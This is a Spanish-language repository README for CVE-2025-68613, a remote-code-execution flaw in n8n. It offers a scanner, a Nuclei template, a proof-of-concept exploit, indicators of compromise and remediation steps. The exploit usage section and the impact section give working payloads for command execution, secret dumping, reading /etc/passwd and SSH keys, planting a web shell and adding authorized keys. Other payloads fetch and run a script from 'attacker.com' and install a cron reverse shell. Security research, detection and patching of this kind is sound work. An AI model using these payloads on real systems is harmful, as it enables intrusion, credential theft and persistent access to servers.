
PoC público + Escáner e investigación para CVE-2025-68613: RCE crítico en n8n Workflow Automation mediante Inyección de Expresiones (CVSS 10.0). Incluye herramientas de detección, exploit completo y guía de remediación.

CVE-2025-68613 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) descubierta en n8n, una popular plataforma de automatización de flujos de trabajo de código abierto. Esta vulnerabilidad permite a usuarios autenticados ejecutar código arbitrario en el servidor, lo que potencialmente puede llevar a un compromiso total del sistema.
n8n es una plataforma de automatización de flujos de trabajo de código abierto que permite a los usuarios:
Las organizaciones usan n8n para:
Este papel central en la infraestructura de TI hace que las vulnerabilidades sean particularmente peligrosas, ya que pueden proporcionar a los atacantes acceso a redes enteras y datos sensibles.
Este repositorio incluye herramientas listas para usar para la detección de vulnerabilidades y pruebas de explotación:
cve-2025-68613-scanner.pyPropósito: Detección segura y no explotadora de instancias vulnerables de n8n
Características:
Uso:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Salida**:
- Código de salida 0: No vulnerable
- Código de salida 1: Versión indeterminada (puede estar parcheada u oculta)
- Código de salida 2: Versión vulnerable detectada
### 2. Plantilla de Nuclei: `CVE-2025-68613.yaml`
**Propósito**: Detección automatizada de vulnerabilidades y prueba básica de evaluación de expresiones
**Características**:
- Requiere token de autenticación válido
- Prueba la capacidad de inyección de expresiones
- Intenta leer el contexto global de Node.js (process.platform)
- Crea flujos de trabajo de prueba para validar el vector RCE
- Clasificación de gravedad Crítica CVSS 10.0
**Uso**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyPropósito: Prueba de concepto completa con múltiples cargas de ataque
Características:
Requisitos:
Instalación:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**Ejemplos de uso**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
Cómo funciona:
this.constructor.constructor()process.platform u otras APIs de Node.jsCódigos de salida:
En términos simples: n8n permite a los usuarios escribir expresiones en flujos de trabajo para procesar datos dinámicamente. Sin embargo, estas expresiones se evalúan sin un entorno aislado adecuado, lo que permite a los atacantes salir del contexto de ejecución previsto y ejecutar código arbitrario en el servidor.
Al crear un flujo de trabajo en n8n, puedes usar "expresiones" para manipular datos. Se supone que estas expresiones se ejecutan en un entorno restringido. Sin embargo, la vulnerabilidad muestra que estas expresiones pueden acceder al sistema subyacente, permitiendo a un atacante:
Cuando un usuario crea un flujo de trabajo en n8n, puede usar expresiones para procesar datos:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### Paso 2: Expression Injection
Un atacante elabora una expresión maliciosa que escapa del sandbox previsto:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
La expresión se evalúa sin el aislamiento adecuado, lo que permite al atacante:
La vulnerabilidad se origina por un sandboxing insuficiente en el motor de evaluación de expresiones. El equipo de n8n evaluaba expresiones en un contexto que:
require() o funciones similares de carga de módulosUser Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## Versiones Afectadas
### Rango Vulnerable
Todas las versiones de n8n desde **0.211.0** hasta las siguientes versiones son vulnerables:
- `0.211.0` → `1.120.3`
- `1.121.0`
### Versiones Parcheadas
La vulnerabilidad ha sido corregida en:
- ✅ `1.120.4` y posteriores en la rama 1.120.x
- ✅ `1.121.1` y posteriores en la rama 1.121.x
- ✅ `1.122.0` y todas las versiones más recientes
### Cómo Verificar tu Versión```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run devuelve error HTTP 500 en v1.121.0
El exploit está diseñado para funcionar contra el rango vulnerable documentado en NVD:
Si se prueba contra versiones fuera de este rango, no se garantiza el éxito.
Una vez que un usuario autenticado (o un atacante con credenciales válidas) explota esta vulnerabilidad, puede:
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. Leer archivos del servidor```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. Escribir Archivos Maliciosos```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
#### 6. Establecer persistencia```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
Escenario del mundo real: Empresa usando n8n
Empresa de Manufactura
Servicios Financieros
Organización Sanitaria
Script de detección seguro, no explotable (incluido en el repositorio original):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
**Ejemplos de salida**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
Escaneo automatizado con Nuclei:```bash
nuclei -t CVE-2025-68613.yaml -u http://target:5678
nuclei -t CVE-2025-68613.yaml -l targets.txt
**Cómo funciona**:
1. Envía solicitudes HTTP a rutas comunes de n8n
2. Extrae metadatos de versión de HTML/encabezados
3. Decodifica la configuración codificada en base64 si está presente
4. Compara la versión contra rangos vulnerables
5. Informa si la instancia es vulnerable
### Método 3: Captura manual de banner```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
shodan search "n8n" --limit 10
nmap -p 5678 --script http-favicon target.com
### Indicadores de Explotación (IOCs)
**Indicadores en Registros**:
- Evaluaciones inusuales de expresiones en registros de flujo de trabajo
- Errores de expresión que contienen comandos del sistema
- Acceso a archivos sensibles (por ejemplo, referencias a /etc/passwd)
- Generación inesperada de procesos desde el proceso n8n
**Indicadores del Sistema**:
- Cuentas de usuario nuevas creadas en el servidor
- Claves SSH inesperadas en authorized_keys
- Nuevos trabajos cron o tareas programadas
- Modificaciones a archivos del sistema
- Conexiones de shell inversa desde el servidor n8n
---
## Remediación y Mitigación
### SOLUCIÓN PRINCIPAL: Actualización Inmediata
**Esta es la única solución completa para la vulnerabilidad.**
#### Paso 1: Respaldar tus Datos```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
Usando Docker (Recomendado):```bash
docker pull n8nio/n8n:1.122.0 # Or later
docker stop n8n-container
docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0
**Usando npm**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
Usando el Administrador de Paquetes del Sistema:```bash
sudo apt update && sudo apt upgrade n8n
#### Paso 3: Verificar la Actualización```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
Importante: Estas NO solucionan la vulnerabilidad. Úselas solo como medidas temporales mientras planifica las actualizaciones.
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
#### 2. Monitorizar Cambios en el Flujo de Trabajo```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
#### 4. Ejecutar n8n con privilegios mínimos```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
#### 6. Containerización & Aislamiento```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
find /path/to/n8n -type f -mtime -1
ps aux | grep n8n netstat -tlnp | grep n8n
cat ~/.ssh/authorized_keys
journalctl -u n8n -n 100
---
## Matriz de Evaluación de Riesgos
| Escenario | Nivel de Riesgo | Probabilidad | Impacto | Prioridad |
|----------|-----------|-----------|--------|----------|
| n8n sin parche, expuesto a internet | CRÍTICO | ALTA | Compromiso completo | 🔴 URGENTE |
| n8n sin parche, solo interno | ALTO | MEDIA | Riesgo de amenaza interna | 🟠 ALTO |
| n8n parcheado | BAJO | BAJA | N/A | ✅ Resuelto |
| n8n sin parche + restricciones de permisos | MEDIO | MEDIA | Limitado a usuarios de confianza | 🟡 MEDIO |
---
## Recuperación Paso a Paso Si se ha Visto Comprometido
### Acciones Inmediatas (Primera Hora)
1. **Aislar el sistema**: Desconectar de la red
2. **Detener el servicio**: `sudo systemctl stop n8n`
3. **Preservar registros**: Realizar copia de seguridad de todos los registros antes de limpiar
4. **Alertar al equipo**: Notificar al equipo de seguridad y a la dirección
5. **Evaluar el alcance**: Determinar a qué datos accedió n8n
### Investigación (Primer Día)
1. **Revisar registros de auditoría**: Buscar actividades sospechosas
2. **Analizar tráfico de red**: Buscar exfiltración de datos
3. **Verificar modificaciones de archivos**: Encontrar puertas traseras insertadas
4. **Revisar cuentas de usuario**: Buscar cuentas nuevas o modificadas
5. **Auditoría de credenciales**: Restablecer todas las claves API y contraseñas utilizadas por n8n
### Remediación (Días 2-7)
1. **Reconstrucción completa del sistema**: No solo actualizar, reconstruir desde una imagen limpia
2. **Rotación de credenciales**: Restablecer todas las contraseñas, claves API, tokens
3. **Parchear todo**: Actualizar todos los sistemas conectados
4. **Restaurar desde copia de seguridad**: Usar copias de seguridad limpias anteriores al compromiso
5. **Auditoría de seguridad**: Realizar una evaluación de seguridad completa
### Post-Incidente (Semanas 2+)
1. **Implementar monitoreo**: Configurar registro y alertas continuas
2. **Cambios de procesos**: Actualizar procedimientos de respuesta a incidentes
3. **Capacitación de usuarios**: Educar a los equipos sobre mejores prácticas de seguridad
4. **Escaneo de vulnerabilidades**: Escaneos regulares para problemas similares
5. **Revisión de cumplimiento**: Asegurar que se cumplan todas las regulaciones (GDPR, HIPAA, etc.)
---
## Prevención a Futuro
### Mejores Prácticas de Seguridad para n8n
1. **Mantener n8n Actualizado**
- Habilitar actualizaciones automáticas si están disponibles
- Suscribirse a los avisos de seguridad de n8n
- Probar parches en un entorno de prueba antes de producción
2. **Control de Acceso**
- Usar el principio de mínimo privilegio
- Exigir contraseñas seguras y 2FA
- Implementar SSO para implementaciones empresariales
- Revisiones y auditorías de acceso periódicas
3. **Gestión de Flujos de Trabajo**
- Revisar todos los flujos de trabajo en busca de lógica sospechosa
- Implementar un proceso de revisión de código para los flujos de trabajo
- Usar convenciones de nombres para identificar flujos de trabajo críticos
- Realizar copias de seguridad periódicas de los flujos de trabajo
4. **Gestión de Credenciales**
- Nunca almacenar credenciales en los flujos de trabajo
- Usar variables de entorno para datos sensibles
- Rotar las credenciales periódicamente
- Auditar el acceso a las credenciales
5. **Monitoreo y Registro**
- Habilitar un registro de auditoría exhaustivo
- Monitorear actividades inusuales
- Configurar alertas para operaciones sospechosas
- Revisión y análisis periódicos de registros
6. **Seguridad de Red**
- Ejecutar n8n en segmentos de red aislados
- Restringir el acceso de red solo a los servicios necesarios
- Usar VPN/cortafuegos para acceso remoto
- Monitorear el tráfico de red en busca de anomalías
7. **Respuesta a Incidentes**
- Crear un plan de respuesta a incidentes
- Definir procedimientos de escalado
- Realizar simulacros de seguridad periódicos
- Mantener listas de contacto actualizadas
---
## Solución de Problemas
### Problema: "Exit code 1: Error de autenticación o explotación"
**Causas Comunes**:
1. **Credenciales incorrectas** (más común)
- Solución: Verificar primero que las credenciales funcionen para el inicio de sesión en la interfaz web
- Prueba: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **El usuario no tiene permisos de creación de flujos de trabajo**
- Solución: Usar una cuenta de administrador o de usuario con derechos de creación de flujos de trabajo
- Verificar: Revisar el panel de administración → Usuarios y Permisos
3. **La versión está parcheada** (versión > 1.121.0)
- Solución: Usar el escáner para verificar la versión primero: `python3 cve-2025-68613-scanner.py -u http://target:5678`
- Esperado: El escáner debería informar "Vulnerable" (código de salida 2)
4. **La estructura de la API cambió** (las versiones más antiguas/nuevas pueden diferir)
- Solución: Consultar el aviso de NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- Más probable si se prueban versiones fuera del rango documentado
5. **Bloqueo de red/cortafuegos**
- Solución: Verificar la conectividad: `curl http://target:5678/`
- Verificar: Reglas del cortafuegos, configuración de proxy, certificados SSL
### Problema: El escáner reporta falsos positivos (detección de versión incorrecta)
**Corregido en v1.02**: El escáner ahora utiliza la configuración de Sentry decodificada en base64 de las metaetiquetas en lugar de una expresión regular simple. Esto elimina los falsos positivos donde se detectaba la versión de Node.js como la versión de n8n.
**Lo que cambió**:
- Fuente principal: Extraer y decodificar `<meta name="n8n:config:sentry" content="[BASE64]">`
- Alternativa: Solo usa la expresión regular si la configuración de Sentry no está disponible
- Resultado: Detección precisa de la versión sin falsos positivos
**Para usar el escáner v1.02**:```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
Esto NO es un error en el exploit, es una limitación de la API.
Explicación:
/rest/workflows/{id}/run devuelve HTTP 500 en n8n v1.121.0Solución alternativa:
Evidencia: Bandera capturada en TryHackMe: THM{n8n_exposed_workflow}
CVE-2025-68613 es una vulnerabilidad crítica que requiere acción inmediata. La combinación de:
...convierte esto en una de las vulnerabilidades más peligrosas en plataformas de automatización de flujos de trabajo.
La solución simple: Actualice a una versión parcheada de inmediato. No hay excusa para seguir siendo vulnerable a un RCE crítico cuando hay parches disponibles.
|- Versión: 1.02 |- Fecha de Creación: 18 de diciembre de 2025 |- Última Actualización: 26 de diciembre de 2025
Este documento se proporciona únicamente con fines educativos y de evaluación de seguridad autorizados. El acceso no autorizado a sistemas informáticos es ilegal. Asegúrese siempre de tener la autorización adecuada antes de probar, evaluar o acceder a sistemas que no posea.
⚠️ RECUERDE: Actualice sus instancias de n8n inmediatamente si está ejecutando versiones vulnerables.